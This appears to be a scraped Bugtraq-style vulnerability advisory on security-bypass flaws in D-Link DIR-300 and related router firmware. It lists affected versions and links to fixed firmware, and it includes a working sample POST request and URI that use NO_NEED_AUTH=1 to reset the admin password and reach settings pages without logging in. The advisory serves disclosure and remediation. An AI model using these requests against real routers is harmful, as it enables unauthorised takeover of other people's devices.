D-Link DIR-300 Multiple Security Bypass Vulnerabilities
BID:44743
Info
D-Link DIR-300 Multiple Security Bypass Vulnerabilities
| Bugtraq ID: | 44743 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 09 2010 12:00AM |
| Updated: | Dec 03 2010 10:55AM |
| Credit: | Karol Celia~Dsk and Craig Heffner |
| Vulnerable: |
D-Link DIR-615 4.13B01 D-Link DIR-320 0 D-Link DIR-300 2.05B03 D-Link DIR-300 2.04 D-Link DIR-300 2.01B1 D-Link DIR-300 1.05B09 D-Link DIR-300 1.05 D-Link DIR-300 1.04 D-Link DIR-300 0 |
| Not Vulnerable: | |
Discussion
D-Link DIR-300 Multiple Security Bypass Vulnerabilities
The D-Link DIR-300 wireless router is prone to multiple security-bypass vulnerabilities.
Remote attackers can exploit these issues to bypass security restrictions, access certain administrative functions, alter configuration, and compromise the affected device.
D-Link DIR-300 running firmware 2.01B1, 1.04, 1.05 are vulnerable. Additional models and firmware versions may also be affected.
The D-Link DIR-300 wireless router is prone to multiple security-bypass vulnerabilities.
Remote attackers can exploit these issues to bypass security restrictions, access certain administrative functions, alter configuration, and compromise the affected device.
D-Link DIR-300 running firmware 2.01B1, 1.04, 1.05 are vulnerable. Additional models and firmware versions may also be affected.
Exploit / POC
D-Link DIR-300 Multiple Security Bypass Vulnerabilities
An attacker can exploit these issues by using readily available network utilities.
The following sample HTTP POST request and a URI is available:
POST http://www.example.com:80/tools_admin.php HTTP/1.1
Host: www.example.com
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0
ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
http://www.example.com/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
An attacker can exploit these issues by using readily available network utilities.
The following sample HTTP POST request and a URI is available:
POST http://www.example.com:80/tools_admin.php HTTP/1.1
Host: www.example.com
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0
ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
http://www.example.com/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
Solution / Fix
D-Link DIR-300 Multiple Security Bypass Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
D-Link DIR-300 1.05B09
D-Link DIR-615 4.13B01
D-Link DIR-300 1.05
D-Link DIR-300 2.05B03
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
D-Link DIR-300 1.05B09
-
D-Link DIR-300_fw_revA_1-05B09_all_en_20101130.zip
ftp://ftp.dlink.pl/dir/dir-300/driver_software/DIR-300_fw_revA_1-05B09 _all_en_20101130.zip
D-Link DIR-615 4.13B01
-
D-Link DIR-615_fw_revD_4-13B01_all_en_20101201.zip
ftp://ftp.dlink.pl/dir/dir-615/driver_software/DIR-615_fw_revD_4-13B01 _all_en_20101201.zip
D-Link DIR-300 1.05
-
D-Link DIR-300_fw_revA_1-05B09_all_en_20101130.zip
ftp://ftp.dlink.pl/dir/dir-300/driver_software/DIR-300_fw_revA_1-05B09 _all_en_20101130.zip
D-Link DIR-300 2.05B03
-
D-Link DIR-300_fw_revB_2-05B03_all_en_20101109.zip
ftp://ftp.dlink.pl/dir/dir-300/driver_software/DIR-300_fw_revB_2-05B03 _all_en_20101109.zip
References
D-Link DIR-300 Multiple Security Bypass Vulnerabilities
References:
References: